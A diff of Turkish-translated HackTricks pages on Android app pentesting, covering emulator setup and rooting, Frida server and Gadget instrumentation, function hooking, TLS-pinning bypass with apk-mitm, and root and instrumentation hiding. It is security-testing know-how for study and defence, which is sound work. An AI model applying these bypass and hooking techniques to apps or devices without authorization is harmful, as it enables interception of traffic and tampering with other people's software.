İsteğe bağlı olarak, Zygisk ortamlarında daha güçlü root gizleme için LSPosed modülleri ve Shamiko ekleyin ve alt süreçleri kapsayacak şekilde DenyList'i düzenleyin.
İsteğe bağlı olarak, Zygisk ortamlarında daha güçlü root gizleme için LSPosed modüllerini ve Shamiko'yu ekleyin ve DenyList'i alt süreçleri kapsayacak şekilde düzenleyin.
Referanslar:
- Objection: https://github.com/sensepost/objection
## Step 8 — Fallback: Patch TLS pinning for network visibility
## Adım 8 — Yedek: Ağ görünürlüğü için TLS pinning'i yama
Eğer instrumentation engellenmişse, pinning'i statik olarak kaldırarak trafiği yine de inceleyebilirsiniz:
```bash
@ -223,7 +223,7 @@ apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
```
- Araç: https://github.com/shroudedcode/apk-mitm
- Ağ yapılandırması CA‑trust tricks (ve Android 7+ user CA trust) için bakınız:
- Ağ yapılandırması CA‑trust hileleri için (ve Android 7+ kullanıcı CA trust), bkz:
{{#ref}}
make-apk-accept-ca-certificate.md
@ -233,7 +233,7 @@ make-apk-accept-ca-certificate.md
install-burp-certificate.md
{{#endref}}
## Kullanışlı komut hızlı başvuru
## Kullanışlı komut kısayolu
```bash
# List processes and attach
frida-ps -Uai
@ -253,10 +253,10 @@ apk-mitm app.apk
```
## İpuçları ve uyarılar
- Uygulamalar launch sırasında çöküyorsa spawn yapmak yerine geç attach etmeyi tercih edin
- Bazı detections kritik flows'ta (ör. payment, auth) yeniden çalıştırılır — navigation sırasında hooks'ları aktif tutun
- Static ve dynamic'i karıştırın: Jadx'te string hunt yaparak sınıfları kısa listeleyin; sonra runtime'da doğrulamak için hook methods kullanın
- Hardened uygulamalar packers ve native TLS pinning kullanabilir — reverse native code yapmanız gerekebilir
- Uygulamalar başlatılırken çöküyorsa spawn etmeye kıyasla attaching'i daha geç yapmayı tercih edin
- Bazı tespitler kritik akışlarda (ör. ödeme, auth) yeniden çalıştırılır — gezinti sırasında hooks'u aktif tutun
- Statik ve dinamiği karıştırın: sınıfları daraltmak için Jadx'te string hunt yapın; sonra runtime'da doğrulamak için method'ları hook'layın
- Korumalı uygulamalar packers ve native TLS pinning kullanabilir — native kodu tersine çevirmeyi bekleyin
## References

120
src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md
View File

@ -1,24 +1,24 @@
# AVD - Android Sanal Cihaz
# AVD - Android Virtual Device
{{#include ../../banners/hacktricks-training.md}}
Bu içeriği oluştururken yardım ettiği için [**@offsecjay**](https://twitter.com/offsecjay)'a çok teşekkürler.
Thank you very much to [**@offsecjay**](https://twitter.com/offsecjay) for his help while creating this content.
## Nedir
## What is
Android Studio, **APK'leri test etmek için kullanabileceğiniz Android sanal makinelerini çalıştırmanıza olanak tanır**. Bunları kullanmak için şunlara ihtiyacınız olacak:
Android Studio allows to **run virtual machines of Android that you can use to test APKs**. In order to use them you will need:
- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
- **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- Veya **Android Studio** (Android SDK tools ile) - [Download here](https://developer.android.com/studio).
Windows'ta (benim durumumda) **Android Studio'yu kurduktan sonra** **SDK Tools'un kurulu olduğu yer**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
Windows'ta (benim durumumda) **Android Studio'yu kurduktan sonra** SDK Tools'ın şu konumda yüklü olduğunu gördüm: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
mac üzerinde **SDK tools'u indirebilir** ve PATH'e eklemek için şu komutu çalıştırabilirsiniz:
Mac'te **SDK tools'u** indirip PATH'e eklemek için şu komutu çalıştırabilirsiniz:
```bash
brew tap homebrew/cask
brew install --cask android-sdk
```
Veya **Android Studio GUI** üzerinden, [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) adresinde belirtildiği gibi; bu, bunları `~/Library/Android/sdk/cmdline-tools/latest/bin/` ve `~/Library/Android/sdk/platform-tools/` ve `~/Library/Android/sdk/emulator/` konumlarına kuracaktır
Veya **Android Studio GUI** üzerinden, [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) adresinde belirtildiği gibi, bunları `~/Library/Android/sdk/cmdline-tools/latest/bin/` ve `~/Library/Android/sdk/platform-tools/` ve `~/Library/Android/sdk/emulator/` dizinlerine kuracaktır
Java sorunları için:
```java
@ -26,9 +26,9 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
```
## GUI
### Sanal Makineyi Hazırlama
### Prepare Virtual Machine
Android Studio'yu yüklediyseniz, ana proje görünümünü açıp şuradan erişebilirsiniz: _**Tools**_ --> _**AVD Manager.**_
If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
<div align="center" data-full-width="false">
@ -36,36 +36,36 @@ Android Studio'yu yüklediyseniz, ana proje görünümünü açıp şuradan eri
</div>
Sonra _**Create Virtual Device**_ öğesine tıklayın
Then, click on _**Create Virtual Device**_
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
_Kullanmak istediğiniz telefonu **seçin**_ ve _**Next.**_ öğesine tıklayın.
kullanmak istediğiniz telefonu _**seçin**_ ve _**Next.**_'e tıklayın.
> [!WARNING]
> Eğer Play Store yüklü bir telefona ihtiyacınız varsa Play Store simgesine sahip olanı seçin!
> If you need a phone with Play Store installed select one with the Play Store icon on it!
>
> <img src="../../images/image (1144).png" alt="" data-size="original">
Bu görünümde telefonun çalıştıracağı **Android image**'i seçip indirebileceksiniz:
Bu görünümde telefonun çalıştıracağı **Android imajını seçip indirebileceksiniz**:
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
Dolayısıyla onu seçin; eğer indirilmemişse isimlerin yanındaki _**Download**_ simgesine tıklayın (**görüntü indirilene kadar bekleyin**).\
O yüzden seçin ve indirilmemişse adın yanında bulunan _**Download**_ simgesine tıklayın (**görüntü indirilene kadar bekleyin**).\
Görüntü indirildikten sonra sadece **`Next`** ve **`Finish`**'i seçin.
Sanal makine oluşturulacak. Artık **AVD Manager'a eriştiğinizde her zaman burada görünecek**.
Sanal makine oluşturulacak. Artık **AVD manager'ı her açtığınızda burada olacaktır**.
### Sanal Makineyi Çalıştırma
### Run Virtual Machine
Çalıştırmak için sadece _**Start button**_'a basın.
Çalıştırmak için sadece _**Start button**_ tuşuna basın.
![](<../../images/image (518).png>)
## Komut Satırı Aracı
## Command Line tool
> [!WARNING]
> macOS için `avdmanager` aracını `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` ve `emulator`'ü `/Users/<username>/Library/Android/sdk/emulator/emulator` içinde bulabilirsiniz, eğer bunlar yüklüyse.
> For macOS you can find the `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` if you have them installed.
Öncelikle **hangi telefonu kullanmak istediğinize karar vermeniz** gerekiyor; kullanılabilir telefonların listesini görmek için şu komutu çalıştırın:
```
@ -95,16 +95,16 @@ Name: Nexus 10
OEM : Google
[...]
```
Kullanmak istediğiniz cihazın adını belirledikten sonra, bu cihazda hangi Android görüntüsünü çalıştırmak istediğinize **karar vermelisiniz.**\
Tüm seçenekleri `sdkmanager` kullanarak listeleyebilirsiniz:
Kullanmak istediğiniz cihazın adını belirledikten sonra, bu cihazda hangi Android imajını çalıştırmak istediğinize **karar vermelisiniz.**\
Tüm seçenekleri `sdkmanager` ile listeleyebilirsiniz:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
Ve kullanmak istediğiniz birini (veya hepsini) **download** ile indirin:
Ve kullanmak istediğiniz (veya hepsini) **indirin**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
Kullanmak istediğiniz Android imajını indirdikten sonra, **indirilen tüm Android imajlarını listeleyebilirsiniz** şu komutla:
Kullanmak istediğiniz Android imajını indirdikten sonra **indirilmiş tüm Android imajlarını listeleyebilirsiniz**:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
----------
@ -120,11 +120,11 @@ Type: Platform
API level: 29
Revision: 4
```
Şu anda kullanmak istediğiniz cihazı belirlediniz ve Android imajını indirdiniz, bu yüzden **sanal makineyi şu şekilde oluşturabilirsiniz**:
Bu noktada kullanmak istediğiniz cihazı seçtiniz ve Android imajını indirdiniz, bu yüzden **sanal makineyi şu şekilde oluşturabilirsiniz**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
Son komutta **adlı bir VM oluşturdum** "_AVD9_" ve **cihaz** olarak "_Nexus 5X_" ile **Android image** olarak "_system-images;android-28;google_apis;x86_64_" kullandım.\
Son komutta **adında bir VM oluşturdum** "_AVD9_" ; **cihaz** olarak "_Nexus 5X_" ve **Android imajı** olarak "_system-images;android-28;google_apis;x86_64_" kullanıldı.\
Şimdi oluşturduğunuz **sanal makineleri listeleyebilirsiniz** şu komutla:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@ -143,50 +143,50 @@ Error: Google pixel_2 no longer exists as a device
### Sanal Makineyi Çalıştır
> [!WARNING]
> macOS için, eğer yüklüyse `avdmanager` aracını `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` ve `emulator` uygulamasını `/Users/<username>/Library/Android/sdk/emulator/emulator` konumlarında bulabilirsiniz.
> macOS için `avdmanager` aracını `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` ve `emulator`'ü `/Users/<username>/Library/Android/sdk/emulator/emulator` içinde bulabilirsiniz, eğer yüklülerse.
Oluşturulan sanal makineleri nasıl listeleyebileceğimizi zaten gördük, ancak **şunu kullanarak da listeleyebilirsiniz**:
Oluşturduğunuz sanal makineleri nasıl listeleyebileceğinizi zaten gördük, ancak **bunları şu komutla da listeleyebilirsiniz**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9
Pixel_2_API_27
```
Oluşturulan herhangi bir sanal makineyi **basitçe çalıştırabilirsiniz** şu komutla:
Aşağıdakileri kullanarak oluşturulan herhangi bir sanal makineyi **basitçe çalıştırabilirsiniz**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
```
Veya daha gelişmiş seçenekleri kullanarak şu gibi bir sanal makine çalıştırabilirsiniz:
Veya daha gelişmiş seçenekler kullanarak şu gibi bir sanal makine çalıştırabilirsiniz:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
### Komut satırı seçenekleri
Ancak sanal makineyi başlatmak için kullanabileceğiniz **birçok farklı komut satırı yararlı seçeneği** vardır. Aşağıda bazı ilginç seçenekleri bulabilirsiniz; tam listeyi [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) adresinde bulabilirsiniz.
Ancak sanal makineyi başlatmak için kullanabileceğiniz **birçok farklı komut satırı yararlı seçeneği** vardır. Aşağıda bazı ilginç seçenekleri bulabilirsiniz fakat [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
**Boot**
**Başlangıç**
- `-snapshot name` : VM snapshot'ını başlat
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Tüm kayıtlı snapshot'ları listeler
- `-snapshot name` : Start VM snapshot
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : List all the snapshots recorded
**Network**
**Ağ**
- `-dns-server 192.0.2.0, 192.0.2.255` : VM için DNS sunucularını virgülle ayrılmış şekilde belirtmeye izin verir.
- **`-http-proxy 192.168.1.12:8080`** : Kullanılacak bir HTTP proxy'sini belirtmeye izin verir (trafiği Burp ile yakalamak için çok kullanışlı).
- `-dns-server 192.0.2.0, 192.0.2.255` : VM için virgülle ayrılmış DNS sunucularını belirtmeye izin verir.
- **`-http-proxy 192.168.1.12:8080`** : Kullanılacak bir HTTP proxy belirtmeyi sağlar (trafik yakalamak için Burp kullanırken çok faydalı)
- If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid".
- `-netdelay 200` : Ağ gecikmesi emülasyonunu milisaniye cinsinden ayarlar.
- `-port 5556` : Konsol ve adb için kullanılan TCP port numarasını ayarlar.
- `-ports 5556,5559` : Konsol ve adb için kullanılan TCP portlarını ayarlar.
- **`-tcpdump /path/dumpfile.cap`** : Tüm trafiği bir dosyaya yakalar
- **`-tcpdump /path/dumpfile.cap`** : Tüm trafiği bir dosyaya kaydeder.
**System**
**Sistem**
- `-selinux {disabled|permissive}` : Security-Enhanced Linux güvenlik modülünü Linux işletim sisteminde disabled veya permissive moduna ayarlar.
- `-selinux {disabled|permissive}` : Linux işletim sisteminde Security-Enhanced Linux güvenlik modülünü disabled veya permissive moda ayarlar.
- `-timezone Europe/Paris` : Sanal cihaz için zaman dilimini ayarlar
- `-screen {touch(default)|multi-touch|o-touch}` : Emüle edilmiş dokunmatik ekran modunu ayarlar.
- **`-writable-system`** : Bu seçeneği emülasyon oturumu sırasında yazılabilir bir sistem imajı kullanmak için kullanın. Ayrıca `adb root; adb remount` komutlarını çalıştırmanız gerekir. Sisteme yeni bir sertifika yüklemek için çok faydalıdır.
- **`-writable-system`** : Bu seçeneği emülasyon oturumunuz sırasında yazılabilir bir sistem görüntüsü elde etmek için kullanın. Ayrıca `adb root; adb remount` komutlarını çalıştırmanız gerekir. Bu, sisteme yeni bir sertifika yüklemek için çok faydalıdır.
## Linux CLI setup (SDK/AVD quickstart)
## Linux CLI kurulumu (SDK/AVD quickstart)
Resmi CLI araçları, Android Studio olmadan hızlı, hata ayıklanabilir emülatörler oluşturmayı kolaylaştırır.
```bash
@ -217,9 +217,9 @@ adb root
adb shell whoami # expect: root
```
Notlar
- Sistem image varyantları: google_apis (hata ayıklanabilir, `adb root`'a izin verir), google_apis_playstore (rootlenemez), aosp/default (hafif).
- Build türleri: userdebug genellikle debug-özellikli image'larda `adb root` sağlar. Play Store image'ları üretim derlemeleridir ve root'u engeller.
- x86_64 hostlarda, tam sistem ARM64 emülasyonu API 28+ itibarıyla desteklenmiyor. Android 11+ için birçok ARM-only uygulamayı hızlı çalıştırmak adına uygulama başına ARM-to-x86 çevirisini içeren Google APIs/Play image'larını kullanın.
- Sistem image varyantları: google_apis (debuggable, allows adb root), google_apis_playstore (not rootable), aosp/default (lightweight).
- Build türleri: userdebug genellikle debug-capable imajlarda `adb root` sağlar. Play Store imajları üretim build'leri olup root'u engeller.
- x86_64 host'larda, tam sistem ARM64 emülasyonu API 28+'ten itibaren desteklenmiyor. Android 11+ için, birçok ARM-only uygulamayı hızlı çalıştırmak üzere per-app ARM-to-x86 translation içeren Google APIs/Play imajlarını kullanın.
### CLI'den Anlık Görüntüler
```bash
@ -229,42 +229,42 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
# Boot from a named snapshot (if it exists)
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
```
## ARM→x86 binary translation (Android 11+)
## ARM→x86 ikili çeviri (Android 11+)
Android 11+ üzerinde Google APIs ve Play Store imajları, sistemin geri kalanını yerel x86/x86_64 tutarken her süreç için ARM uygulama ikili dosyalarını çevirebilir. Bu, masaüstünde birçok yalnızca ARM uygulamasını test etmek için genellikle yeterince hızlıdır.
Android 11+ üzerinde Google APIs ve Play Store imajları, sistemin geri kalanını yerel x86/x86_64 tutarken işlem başına ARM uygulama ikili dosyalarını çevirebilir. Bu, birçok yalnızca ARM uygulamasını masaüstünde test etmek için genellikle yeterince hızlıdır.
> İpucu: pentests sırasında Google APIs x86/x86_64 imajlarını tercih edin. Play imajları kullanışlıdır ama `adb root`'u engeller; sadece Play services'e özellikle ihtiyaç duyduğunuzda ve root eksikliğini kabul ettiğinizde kullanın.
> İpucu: pentests sırasında Google APIs x86/x86_64 imajlarını tercih edin. Play imajları kullanışlıdır ama `adb root`'u engeller; yalnızca Play services'e özellikle ihtiyaç duyduğunuzda ve root eksikliğini kabul ettiğinizde bunları kullanın.
## Rooting a Play Store device
## Play Store cihazına root verme
Eğer Play Store ile bir cihaz indirdiyseniz doğrudan root elde edemeyecek ve şu hata mesajını alacaksınız
Eğer Play Store olan bir cihaz indirdiyseniz doğrudan root alamayacaksınız ve şu hata mesajını alacaksınız
```
$ adb root
adbd cannot run as root in production builds
```
[rootAVD](https://github.com/newbit1/rootAVD) ile [Magisk](https://github.com/topjohnwu/Magisk) kullanarak cihazı root yapabildim (örneğin [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **veya** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
[ rootAVD ](https://github.com/newbit1/rootAVD) ile [Magisk](https://github.com/topjohnwu/Magisk) kullanarak cihazı root yapabildim (örnek olarak [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) veya [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8) videolarını izleyin).
## Burp Sertifikasını Yükleme
Özel bir CA sertifikası nasıl yüklenir öğrenmek için aşağıdaki sayfayı inceleyin:
Özel bir CA sertifikasının nasıl yükleneceğini öğrenmek için aşağıdaki sayfayı inceleyin:
{{#ref}}
install-burp-certificate.md
{{#endref}}
## AVD İçin Faydalı Seçenekler
## Faydalı AVD Seçenekleri
### Anlık Görüntü Alma
### Snapshot (Anlık Görüntü) Al
VM'nin anlık görüntüsünü istediğiniz zaman almak için **GUI'yi kullanabilirsiniz**:
**GUI'yi kullanarak** VM'in istediğiniz zaman bir snapshot'ını alabilirsiniz:
![](<../../images/image (234).png>)
## Kaynaklar
## Referanslar
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline)
- [Run ARM apps on the Android Emulator (x86 translation)](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)
- [Tekrarlanabilir Bir Android Bug Bounty Laboratuvarı Oluşturma: Emulator vs Magisk, Burp, Frida ve Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Android Emulator komut satırı](https://developer.android.com/studio/run/emulator-commandline)
- [Android Emulator üzerinde ARM uygulamalarını çalıştırma (x86 çevirisi)](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)
{{#include ../../banners/hacktricks-training.md}}

72
src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
View File

@ -10,22 +10,22 @@ Yükleyin **frida tools**:
pip install frida-tools
pip install frida
```
**İndir ve kur** Android'e **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
adb'yi root mode'da yeniden başlatmak, ona bağlanmak, frida-server'ı yüklemek, exec permissions verip arka planda çalıştırmak için tek satırlık komut:
**İndirip kurun** Android cihazına **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
Tek satırlık komut: adb'yi root modunda yeniden başlatmak, ona bağlanmak, frida-server'ı yüklemek, çalıştırma izinleri verip arka planda çalıştırmak:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
**Kontrol et** çalışıyor mu:
**Kontrol et** eğer **çalışıyorsa**:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
```
## Frida server vs. Gadget (root vs. no-root)
Frida ile Android uygulamalarını enstrümante etmenin iki yaygın yolu:
Frida ile Android uygulamalarını enstrümente etmenin iki yaygın yolu:
- Frida server (rooted devices): Cihaz üzerine push edip çalıştırdığınız, herhangi bir sürece attach olmanıza izin veren native bir daemon.
- Frida Gadget (no root): Frida'yı APK içine shared library olarak paketleyip, hedef süreç içinde otomatik yükler.
- Frida server (rooted devices): Cihaza yerel (native) bir daemon push edip çalıştırır; bu daemon herhangi bir process'e attach olmanızı sağlar.
- Frida Gadget (no root): Frida'yı APK içine shared library olarak paketler ve hedef process içinde otomatik olarak yükler.
Frida server (rooted)
```bash
@ -42,9 +42,9 @@ frida -U -n com.example.app
```
Frida Gadget (no-root)
1) APK'yı açın, gadget .so ve konfigürasyonu ekleyin:
- libfrida-gadget.so'u lib/<abi>/ içine koyun (örn., lib/arm64-v8a/)
- assets/frida-gadget.config dosyasını script yükleme ayarlarınızla oluşturun
1) APK'nin paketini açın, gadget .so ve yapılandırmayı ekleyin:
- libfrida-gadget.so dosyasını lib/<abi>/ içine koyun (ör. lib/arm64-v8a/)
- assets/frida-gadget.config dosyasını, script yükleme ayarlarınızla oluşturun
Örnek frida-gadget.config
```json
@ -53,8 +53,8 @@ Frida Gadget (no-root)
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
}
```
2) gadget'i erken başlatılacak şekilde referanslayın/yükleyin:
- En kolay: Application.onCreate() içinde System.loadLibrary("frida-gadget") çağıran küçük bir Java stub'u ekleyin veya zaten mevcut olan native lib yüklemeyi kullanın.
2) Gadget'in erken başlatılmasını sağlayacak şekilde referans verin/yükleyin:
- En kolay: Application.onCreate() içinde System.loadLibrary("frida-gadget") çağıran küçük bir Java stub'u ekleyin veya zaten var olan native lib yüklemesini kullanın.
3) APK'yı yeniden paketleyin ve imzalayın, sonra yükleyin:
```bash
@ -64,44 +64,44 @@ apktool b app_m -o app_gadget.apk
uber-apk-signer -a app_gadget.apk -o out_signed
adb install -r out_signed/app_gadget-aligned-debugSigned.apk
```
4) Host'tan gadget işlemine bağlanın:
4) Host'tan gadget process'e attach edin:
```bash
frida-ps -Uai
frida -U -n com.example.app
```
Notlar
- Gadget bazı korumalar tarafından tespit edilebilir; adları/yolları gizli tutun ve gerekirse geç/koşullu olarak yükleyin.
- Sertleştirilmiş uygulamalarda, rooted testing'i server + late attach ile tercih edin veya Magisk/Zygisk gizleme ile birleştirin.
- Gadget bazı korumalar tarafından tespit edilebilir; isimleri/yolları gizli tutun ve gerekirse geç/koşullu olarak yükleyin.
- Sertleştirilmiş uygulamalarda, tercihen rooted testleri server + late attach ile yapın veya Magisk/Zygisk gizleme ile kombinleyin.
## Eğitimler
### [Tutorial 1](frida-tutorial-1.md)
### [Eğitim 1](frida-tutorial-1.md)
**Kaynak**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Kaynak Kod**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Oku için [link to read it](frida-tutorial-1.md).**
**Okumak için [bağlantıya tıklayın](frida-tutorial-1.md).**
### [Tutorial 2](frida-tutorial-2.md)
### [Eğitim 2](frida-tutorial-2.md)
**Kaynak**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**Kaynak**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Bölümler 2, 3 & 4)\
**APKs ve Kaynak kodu**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Oku için[ link to read it.](frida-tutorial-2.md)**
**Okumak için [bağlantıya tıklayın.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
### [Eğitim 3](owaspuncrackable-1.md)
**Kaynak**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
**Oku için [link to read it](owaspuncrackable-1.md).**
**Okumak için [bağlantıya tıklayın](owaspuncrackable-1.md).**
**Daha fazla Awesome Frida script'ini burada bulabilirsiniz:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**Daha fazla Awesome Frida script'ini şurada bulabilirsiniz:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## Hızlı Örnekler
### Frida'yı komut satırından çağırma
### Komut satırından Frida çağırma
```bash
frida-ps -U
@ -125,9 +125,9 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
### Hooking: parametresiz fonksiyonlar
### Hooking parametresiz fonksiyonlar
Hook `sg.vantagepoint.a.c` sınıfının `a()` fonksiyonunu
`sg.vantagepoint.a.c` sınıfının `a()` fonksiyonunu Hooklayın.
```javascript
Java.perform(function () {
; rootcheck1.a.overload().implementation = function() {
@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
Hook android `.onCreate()`
android `.onCreate()`'ine hook uygula
```javascript
var activity = Java.use("android.app.Activity")
activity.onCreate.overload("android.os.Bundle").implementation = function (
@ -168,9 +168,9 @@ send("Activity HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
### Hooking parametreleri olan fonksiyonlar ve değerin alınması
### Parametrelerle Hooking fonksiyonları ve değeri alma
Bir decryption fonksiyonunu Hooking yapma. Input'u yazdır, orijinal fonksiyonu çağırarak input'u decrypt et ve son olarak plain veriyi yazdır:
Bir decryption fonksiyonunu hooking. Girdiyi yazdır, orijinal fonksiyonu çağırıp girdiyi decrypt et ve son olarak düz veriyi yazdır:
```javascript
function getString(data) {
var ret = ""
@ -195,7 +195,7 @@ send("Decrypted flag: " + flag)
return ret //[B
}
```
### Hooking fonksiyonları ve girdimizle çağırmak
### Hooking fonksiyonları ve onları girdimizle çağırma
Bir string alan bir fonksiyonu Hook'la ve onu başka bir string ile çağır (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
@ -210,9 +210,9 @@ console.log("Return value: " + ret)
return ret
}
```
### Bir sınıfın önceden oluşturulmuş bir nesnesini alma
### Önceden oluşturulmuş bir sınıf nesnesini almak
Oluşturulmuş bir nesnenin bir özniteliğini almak istiyorsanız bunu kullanabilirsiniz.
Oluşturulmuş bir nesnenin bazı özelliklerini çıkarmak istiyorsanız bunu kullanabilirsiniz.
Bu örnekte my_activity sınıfının nesnesini nasıl alacağınızı ve nesnenin özel bir özniteliğini yazdıracak .secret() fonksiyonunu nasıl çağıracağınızı göreceksiniz:
```javascript
@ -228,13 +228,13 @@ onComplete: function () {},
## Diğer Frida öğreticileri
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [Advanced Frida Usage blog serisinin Bölüm 1: iOS Şifreleme Kütüphaneleri](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
## Kaynaklar
## Referanslar
- [Tekrarlanabilir Android Bug Bounty Laboratuvarı Oluşturma: Emulator vs Magisk, Burp, Frida ve Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Frida Gadget dokümantasyonu](https://frida.re/docs/gadget/)
- [Frida sürümleri (sunucu ikili dosyaları)](https://github.com/frida/frida/releases)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Frida Gadget documentation](https://frida.re/docs/gadget/)
- [Frida releases (server binaries)](https://github.com/frida/frida/releases)
{{#include ../../../banners/hacktricks-training.md}}

51
src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
View File

@ -3,9 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
## ADB ile sistem genelinde proxy
## ADB üzerinden sistem çapında proxy
Global bir HTTP proxy yapılandırın, böylece tüm uygulamalar trafiği interceptor'ünüzden (Burp/mitmproxy) geçirir:
Tüm uygulamaların trafiğini interceptor'ınıza (Burp/mitmproxy) yönlendirmesi için sistem çapında bir HTTP proxy yapılandırın:
```bash
# Set proxy (device/emulator must reach your host IP)
adb shell settings put global http_proxy 192.168.1.2:8080
@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080
# Clear proxy
adb shell settings put global http_proxy :0
```
Tip: Burp'ta dinleyicinizi 0.0.0.0 adresine bağlayın, böylece LAN'daki cihazlar bağlanabilir (Proxy -> Options -> Proxy Listeners).
Tip: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (Proxy -> Options -> Proxy Listeners).
## Sanal Makinede
Öncelikle Burp'tan **DER** sertifikasını indirmeniz gerekiyor. Bunu _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ üzerinden yapabilirsiniz.
